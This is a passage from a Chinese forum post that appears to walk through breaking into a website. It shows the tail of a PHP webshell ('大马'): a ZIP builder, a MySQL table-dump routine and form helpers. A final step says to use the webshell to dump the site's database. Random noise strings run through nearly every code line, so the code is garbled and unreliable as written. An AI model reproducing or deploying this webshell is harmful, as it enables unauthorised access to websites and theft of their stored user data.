    & M; {& V) A8 Q6 z7 @! O

  1706. , ~' ], v: T" F  w% \$ y# D
  1707.         var $datasec      = array();
    % z) V8 C% V, X* ]$ b' r* K) _
  1708.         var $ctrl_dir     = array();
    1 I: z6 U6 Z! C, ?
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    2 c9 e" b! @$ f& h! X  s
  1710.         var $old_offset   = 0;4 Z5 F) L0 N, E0 l  n) }  ^( ^
  1711. * ?' w8 Q: m/ t( Q
  1712.         function unix2DosTime($unixtime = 0) {
    / S/ X+ y2 w; ^# t) I/ o
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);8 G0 G" P7 e! V) C! [  ?1 `) E
  1714.                 if ($timearray['year'] < 1980) {
    % \" U. S* L' r% X- R- l4 a0 Q+ {
  1715.                         $timearray['year']    = 1980;
    " u' n  u$ D. C
  1716.                         $timearray['mon']     = 1;
    2 l& \9 Q4 X7 Y0 e0 L( F
  1717.                         $timearray['mday']    = 1;
    & E& _  ^0 [4 s# B* r
  1718.                         $timearray['hours']   = 0;( P8 ~4 m( T6 B  I
  1719.                         $timearray['minutes'] = 0;
    ; Q; `- g. I5 i* a, G) m) h
  1720.                         $timearray['seconds'] = 0;
    5 E% d; u5 ^5 m/ k1 @1 w
  1721.                 } // end if1 c2 ?8 j5 h0 i# v/ k8 N5 C, Z& d
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |6 v  G- `6 p2 l( s$ H
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    + w: f- ~5 s7 h" H
  1724.         }
    7 r2 e5 K: r+ }9 N! W. t
  1725.         function addFile($data, $name, $time = 0) {
    * }4 E3 x  v! j9 r
  1726.                 $name = str_replace('\\', '/', $name);
    ! V9 U# `8 }% Y6 R4 j+ k
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    4 R) ~8 b+ Y5 S1 i4 |9 W! K
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]8 S/ Z- x0 X$ n' d- U
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    ' v# A7 j$ h; d# {( E) n
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    : \, h$ D( Q" O
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    . d- y% S6 M4 x- s
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      f4 h1 H/ w# |& p5 u- `% u- y
  1733.                 $fr        = "\x50\x4b\x03\x04";+ y( i0 w2 F  \; v3 h9 m
  1734.                 $fr        .= "\x14\x00";. g+ n7 _* S$ J9 P
  1735.                 $fr        .= "\x00\x00";
    3 Y% w0 I/ w: a
  1736.                 $fr        .= "\x08\x00";
    - Q7 X( r3 U1 F; ?" s; ^
  1737.                 $fr        .= $hexdtime;
    1 e9 r" ?# {+ O: E6 {
  1738.                 $unc_len = strlen($data);; c9 C8 x: F( T+ A8 ^  `
  1739.                 $crc = crc32($data);# n4 [+ |/ C. ]+ H& M
  1740.                 $zdata = gzcompress($data);' R* I# T1 U/ X; {" L4 g
  1741.                 $c_len = strlen($zdata);, r8 b  K; \- S; S+ b+ |
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    # Q/ z) z3 h4 J
  1743.                 $fr .= pack('V', $crc);1 h" F$ g1 k( ?) S& l7 j
  1744.                 $fr .= pack('V', $c_len);
    ) j6 m% a7 G6 V  T
  1745.                 $fr .= pack('V', $unc_len);
    , s( i7 O9 `3 p2 T) B+ f
  1746.                 $fr .= pack('v', strlen($name));
    4 K( M, @3 S8 j* @" i3 `
  1747.                 $fr .= pack('v', 0);
    5 J; _, I# [/ C( k
  1748.                 $fr .= $name;2 Y7 G3 m  t# E
  1749.                 $fr .= $zdata;
    ( F$ S" J# m% G% D
  1750.                 $fr .= pack('V', $crc);/ I+ v0 V" h" y
  1751.                 $fr .= pack('V', $c_len);
    ; l6 q" b9 k0 n
  1752.                 $fr .= pack('V', $unc_len);
    % L. w) B1 C/ l! c9 m$ `
  1753.                 $this -> datasec[] = $fr;
    2 r- n% P+ l0 F- g
  1754.                 $new_offset = strlen(implode('', $this->datasec));! T2 F8 z. j2 m! {
  1755.                 $cdrec = "\x50\x4b\x01\x02";
    * G, {$ m, S- M* c+ Y) w2 a; `
  1756.                 $cdrec .= "\x00\x00";
    8 H( Q1 g( O/ K5 l: Y/ R
  1757.                 $cdrec .= "\x14\x00";0 w* }  V. N, S/ _
  1758.                 $cdrec .= "\x00\x00";- p, e, h5 W2 W3 v2 X0 J7 k" @
  1759.                 $cdrec .= "\x08\x00";
    ) q2 c0 f% ?  b' ]
  1760.                 $cdrec .= $hexdtime;
    / u/ }$ J9 F# d6 f% x
  1761.                 $cdrec .= pack('V', $crc);
    - u/ _. w$ p" G$ ]
  1762.                 $cdrec .= pack('V', $c_len);/ ]7 A  _1 F$ J, O( Z
  1763.                 $cdrec .= pack('V', $unc_len);
    : R" w( a: |" k2 f7 v
  1764.                 $cdrec .= pack('v', strlen($name) );2 g% f; V% |0 Z. k+ y
  1765.                 $cdrec .= pack('v', 0 );, Q: ~+ t' o% e
  1766.                 $cdrec .= pack('v', 0 );/ N  Y! p6 d2 n3 B# X) ?+ ~
  1767.                 $cdrec .= pack('v', 0 );# Z( S1 \# \9 [+ N3 O) F1 m
  1768.                 $cdrec .= pack('v', 0 );
    # `" C8 M7 D4 B4 Z
  1769.                 $cdrec .= pack('V', 32 );
      U6 |) x2 R* Y
  1770.                 $cdrec .= pack('V', $this -> old_offset );3 P0 V% T* F; i1 K! g, O
  1771.                 $this -> old_offset = $new_offset;
    0 M9 F; g, e1 R- `, \3 u6 H
  1772.                 $cdrec .= $name;5 K; B" C( i& p" ^0 Q% K
  1773.                 $this -> ctrl_dir[] = $cdrec;+ u7 A  \2 l5 h# |2 u
  1774.         }6 g! N* I) h/ v* x: S5 n  N) X
  1775.         function file() {
      h' b) U! f$ R- d
  1776.                 $data    = implode('', $this -> datasec);
    9 {6 w$ W: f+ o/ ^+ K  |) Z
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);$ A# ?8 \4 m# Q% D
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    % Q- o, M; @$ {. L, d4 \& a
  1779.         }! Q2 _0 X) ]" S' ~
  1780. }
    ' T- D* e+ x2 [  T) X. w* n
  1781. // 备份数据库
    0 T1 W+ w& J; G/ V
  1782. function sqldumptable($table, $fp=0) {
    1 p- [! c* c) U% X8 n
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    + k8 {" ~& p; A/ U; n  J& S
  1784.         $tabledump .= "CREATE TABLE $table (\n";  U2 g  D$ a4 H
  1785.         $firstfield=1;
    : h8 Y. U. {% c# n" ?+ C* s8 Q
  1786.         $fields = q("SHOW FIELDS FROM $table");% l" [+ {$ T! s" v. ^  Q
  1787.         while ($field = mysql_fetch_array($fields)) {( s0 F0 d9 K& {! {
  1788.                 if (!$firstfield) {
    0 {6 F- k% N' ^0 e5 |, j
  1789.                         $tabledump .= ",\n";
    & y0 k: |( Z) ~
  1790.                 } else {
    ! e7 n0 _6 @1 A1 c* [; _8 S
  1791.                         $firstfield=0;
    * C4 O; K, r, L: l
  1792.                 }
    % B& X9 I2 V- s+ n
  1793.                 $tabledump .= "   $field[Field] $field[Type]";# I. K# _# F/ g$ J; d
  1794.                 if (!empty($field["Default"])) {% f9 \, T, r3 f+ W+ n" q* ?
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    $ i3 g' F) p: N# ?% r+ J
  1796.                 }
    - \: e7 F5 k' r) o3 N  j( }
  1797.                 if ($field['Null'] != "YES") {# e  C0 p8 c" o2 d. _" M
  1798.                         $tabledump .= " NOT NULL";
    % u% w# E) G2 s, }% P/ d+ _$ u1 Y
  1799.                 }$ c8 e4 D0 S  A9 c8 q8 @
  1800.                 if ($field['Extra'] != "") {7 D, ]$ T  x+ M5 U+ g8 g
  1801.                         $tabledump .= " $field[Extra]";* c# v( V! M9 X  j- |; s  ^! x" q
  1802.                 }
    ( e( w& ]- a/ K0 I) {, j. h- p/ `
  1803.         }. h5 Q* @1 {/ l( d  B' g
  1804.         fr($fields);2 T2 q8 U/ }6 r$ h
  1805.         $keys = q("SHOW KEYS FROM $table");
    : `. U) H$ m4 f5 h
  1806.         while ($key = mysql_fetch_array($keys)) {6 |0 T' U8 B0 h5 `* G' S; p/ x$ O
  1807.                 $kname=$key['Key_name'];
    4 O. X) F3 N( v& v: Z
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {0 h& J$ r, V9 H$ v# j
  1809.                         $kname="UNIQUE|$kname";# M8 X8 b% L# l; R
  1810.                 }
    * a- x) K1 b  i5 I, n" M9 r
  1811.                 if(!is_array($index[$kname])) {9 R  v2 K6 c0 l0 U3 r  y
  1812.                         $index[$kname] = array();
    ! r" {) E- K8 }$ |* S9 I
  1813.                 }
      m6 H9 O4 r1 u) Z
  1814.                 $index[$kname][] = $key['Column_name'];
    0 B2 H1 t% p7 E' t/ z. B5 c( Z/ j7 @1 q
  1815.         }5 q5 Y- |) ~, }. N; e, s
  1816.         fr($keys);6 I3 |* ?' ~6 K. P, Z( D) I6 j
  1817.         while(list($kname, $columns) = @each($index)) {% J/ t" X1 b/ @( C& }. L
  1818.                 $tabledump .= ",\n";
    7 X* P# t  N8 r8 N
  1819.                 $colnames=implode($columns,",");
    % t8 c% U- K8 k6 O* u' \! l
  1820.                 if ($kname == "PRIMARY") {
    3 \: a4 ^" G( Q/ G6 T0 ]+ [7 K: N
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";5 H5 E% b) k; n
  1822.                 } else {. Y! j/ M: x9 T$ U- N6 {8 Y
  1823.                         if (substr($kname,0,6) == "UNIQUE") {1 F  X  v! |: }! V3 N' r, P
  1824.                                 $kname=substr($kname,7);
    6 a) P1 _( ?3 k, |  O6 ]& v4 ^
  1825.                         }
    4 J8 T2 M$ X3 P$ ^. E* M9 B- [# j
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    ; }* @9 i- K2 b4 L- c) r
  1827.                 }
    % L. [2 o) w% L% b  Q, g
  1828.         }  k8 Z6 M. Q3 Q0 \& U) Q
  1829.         $tabledump .= "\n);\n\n";
    $ }. F( c' |( p! L" z* K/ Z5 M
  1830.         if ($fp) {0 U& |' T( o: V# \, |4 Z5 b9 N) i( V
  1831.                 fwrite($fp,$tabledump);
    ! p" k/ h) a$ z1 G6 f5 @
  1832.         } else {) f1 j" u7 X; z! q
  1833.                 echo $tabledump;; q4 g$ l' O2 `$ m
  1834.         }5 C2 ~* b0 e; M7 U
  1835.         $rows = q("SELECT * FROM $table");
    5 G/ y6 |8 k  Q! w; w6 S, o3 R
  1836.         $numfields = mysql_num_fields($rows);+ \: X4 K% y# W) b7 C" I8 ^
  1837.         while ($row = mysql_fetch_array($rows)) {
    5 F) {4 p; g) O6 g: c+ B$ Q1 T7 E5 O9 C
  1838.                 $tabledump = "INSERT INTO $table VALUES(";! }6 @# E4 P, \/ A  D
  1839.                 $fieldcounter=-1;1 M( {# B, m# X: [% z
  1840.                 $firstfield=1;
    $ j$ D5 B5 C) u
  1841.                 while (++$fieldcounter<$numfields) {
    & p2 j8 X: B4 o3 b9 Z
  1842.                         if (!$firstfield) {, {8 @% c- Z6 T  B
  1843.                                 $tabledump.=", ";
    + F0 \# W* r3 z( u+ A" K: Y
  1844.                         } else {
    ; e$ }# g3 r  h$ Q
  1845.                                 $firstfield=0;9 B8 p; t7 L, F6 Y* Y
  1846.                         }
    $ I' _0 S8 c8 Z5 M* |# E# i
  1847.                         if (!isset($row[$fieldcounter])) {1 e! \/ N! V+ I9 D% q; V
  1848.                                 $tabledump .= "NULL";- @% i  ]- T! c, o
  1849.                         } else {( X- o) G1 b8 S% G8 b& f5 r
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    3 ~# @- Z/ t0 w# x; l
  1851.                         }: c0 J/ \+ s+ [4 x1 N3 J
  1852.                 }. Q$ [' k! E$ A# r( @
  1853.                 $tabledump .= ");\n";+ j* w' ~, z* b' w( K) ]
  1854.                 if ($fp) {
    , o( ~0 \& L3 J5 G9 U
  1855.                         fwrite($fp,$tabledump);
    ( l/ ~( _, E7 q
  1856.                 } else {- u! D: s: g; P( L" m/ S' i4 R5 a
  1857.                         echo $tabledump;
    0 P* O! Q( M# m2 K: M
  1858.                 }+ Q7 r' W) g0 q6 E' u
  1859.         }; ^' K2 \6 S1 a. t4 @
  1860.         fr($rows);
    / R' `" D) p" ~
  1861.         if ($fp) {7 C+ M& e7 p+ V- \5 W: X) J1 H- s
  1862.                 fwrite($fp,"\n");& ~) f" `6 ~# [2 D% F6 p
  1863.         } else {
    - O8 d( p% y5 m, r* n7 X
  1864.                 echo "\n";+ W2 l& j+ S+ G* _6 _, H) @
  1865.         }: j* c$ d  {4 k5 a% E3 I
  1866. }. {, [& U- N4 @  C2 X& B# t
  1867. function ue($str){0 G. e$ e5 ?* }5 {
  1868.         return urlencode($str);# W- H4 u/ ^5 c- a/ h# f1 w2 T
  1869. }" u: `& e( {, X0 e
  1870. function p($str){
    5 Z5 S9 c0 k0 @- K6 [
  1871.         echo $str."\n";) N/ K/ Y8 }2 m
  1872. }
    * s0 a0 C8 v$ w- D/ y
  1873. function tbhead() {
    8 ]) J8 D- d2 c& G
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    ) r! N7 [5 B# C4 s) Y& B) I) t6 A
  1875. }
    0 t9 _; }, r  u1 ^6 H$ N
  1876. function tbfoot(){% N( h# Z* M5 v6 c
  1877.         p('</table>');3 _; ~& w" H; P. D& b  a1 M* T" {
  1878. }
    8 y. k! S9 W) J% q- Q
  1879. function makehide($name,$value=''){
    + u# @- t- O, b& u6 `8 Q( r
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    $ G* e- A. h  t3 \# d: J1 f# P: A
  1881. }! I2 c' M: n7 U% U+ ?5 C$ r
  1882. function makeinput($arg = array()){# i5 |( P2 n  t) Q% Y/ i; f" B
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";. _4 p# z5 d8 f6 ^
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';7 m% \7 l4 Y# D# p1 A, f
  1885.         !$arg['type'] && $arg['type'] = 'text';
    ) G$ @( e6 ?! m
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';9 J4 W4 Q) g; j+ U. x7 t5 C2 ]
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';7 k0 ?' i, }. Q2 M5 N; k5 j
  1888.         if ($arg['newline']) {
    7 \' ]" p. K2 c) C1 \: Q( i
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");$ _' R% {/ B! q& J0 \
  1890.         } else {# C$ ^4 j) w+ q1 Y" ?/ N/ H7 d
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    - h4 m6 }0 m! V" A# R+ \
  1892.         }5 o' f9 Y) ]% |$ h* _3 }* W
  1893. }
    0 q; R0 J: n* V; ~
  1894. function makeselect($arg = array()){, c+ [7 Y% [9 r, b
  1895.         if ($arg['onchange']) {+ I/ q9 d1 o/ `, z+ r- |
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
    * M8 G+ N( z8 f  y) J6 F: `: A+ @
  1897.         }
    4 r. f  `( r4 e
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';/ v4 S. y) ]+ d. ^& _. f' o# d2 q4 @
  1899.         if ($arg['newline']) p('<p>');4 m" r: W4 z1 a( O  R) Y; M
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");/ }- |; v9 s1 T$ d) o7 V4 n8 ^9 Z1 e
  1901.                 if (is_array($arg['option'])) {
    0 u6 a% D1 X8 X# W1 |3 V
  1902.                         foreach ($arg['option'] as $key=>$value) {
    3 E& ~1 J" S  w# d
  1903.                                 if ($arg['selected']==$key) {+ @' q+ c% b% ~) S, b. E. l
  1904.                                         p("<option value="$key" selected>$value</option>");
    # y% @5 Y# n# M( P& M8 E) S2 v
  1905.                                 } else {
    & p- y" T+ N9 T* M. @! Y! t/ }! b
  1906.                                         p("<option value="$key">$value</option>");- l  q3 O) _. X# R
  1907.                                 }
      V6 f9 d- [$ R; q
  1908.                         }
    " |+ X/ `" n4 I" Q6 }
  1909.                 }
    ) T- l* }' h: V2 q9 P; y
  1910.         p("</select>");- v8 O' c( h8 @, y. i  y
  1911.         if ($arg['newline']) p('</p>');
    ) b9 t9 D! }  m1 U0 L2 a
  1912. }
    ( o+ ]( g1 A8 x5 s9 J5 t5 S5 p
  1913. function formhead($arg = array()) {* f  q9 L9 u+ O! n3 [  @2 l
  1914.         !$arg['method'] && $arg['method'] = 'post';$ t$ {7 N% D: `4 H
  1915.         !$arg['action'] && $arg['action'] = $self;8 G7 D1 m: x" W. h4 f$ Q
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';* t( w& G8 l5 W- f* T8 |
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    " Z+ E9 ~8 Y3 ?' ]) c7 |
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    8 g4 O4 m# `7 r8 [
  1919.         if ($arg['title']) {
    - h5 W$ _  K# [1 ^6 C
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    ' Q% k7 v6 ^$ E- d& U8 V8 _+ B
  1921.         }$ H' G. w+ H' ]1 M8 y3 P
  1922. }, L) {+ o- z0 B: D
  1923.        
    4 \( }: Y% `3 j
  1924. function maketext($arg = array()){
    7 h0 X  X- L) ], p' p" u
  1925.         !$arg['cols'] && $arg['cols'] = 100;% E, I+ `. O1 `
  1926.         !$arg['rows'] && $arg['rows'] = 25;+ `+ Z+ u4 W  W& g
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';7 {% q  p" j' X; f; C$ s
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");7 F9 v( ^2 o* V+ j
  1929. }+ g5 Q$ l  v0 v+ t" V

  1930. % K5 Q% L% |% T4 Z1 K3 t
  1931. function formfooter($name = ''){, u4 k# ~% g% y- ~+ T7 N6 k
  1932.         !$name && $name = 'submit';
    9 Y2 }+ a, B3 L- M5 L% f( O' v
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    8 C" I, V6 z9 \
  1934.         p('</form>');% a) I! P) M) X1 W, U2 J
  1935. }
    7 {5 d( W7 e8 w# G: c0 B, N
  1936. ; |. h% M1 r& g, i
  1937. function formfoot(){' y. |( q9 C& f( v9 p) s/ c! z  y
  1938.         p('</form>');
    - C, P# J, p0 M5 ?! K6 `
  1939. }: z0 P# ^! ?4 g) d& U( y) i1 ~
  1940.   D0 D* R$ ?6 d7 \
  1941. // 调试函数
    $ h  Y! |& |6 H
  1942. function pr($a) {! b  ^4 U, Y9 X5 w6 G4 _
  1943.         echo '<pre>';- m5 k6 ^3 h1 P% J; Z8 T
  1944.         print_r($a);: b9 J9 E, E6 S
  1945.         echo '</pre>';- e$ g7 ]1 J( L2 H. v
  1946. }
    $ E% p' M2 S) Q

  1947. , A( ~3 J2 ?. [0 ^
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
/ F" b$ I" C* M0 a, v


$ y/ ?: U+ B4 q  q" Z8 V& h* V4 Y) c, L5 z  B9 f; I+ a
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2025-2-25 00:13 , Processed in 0.111448 second(s), 22 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表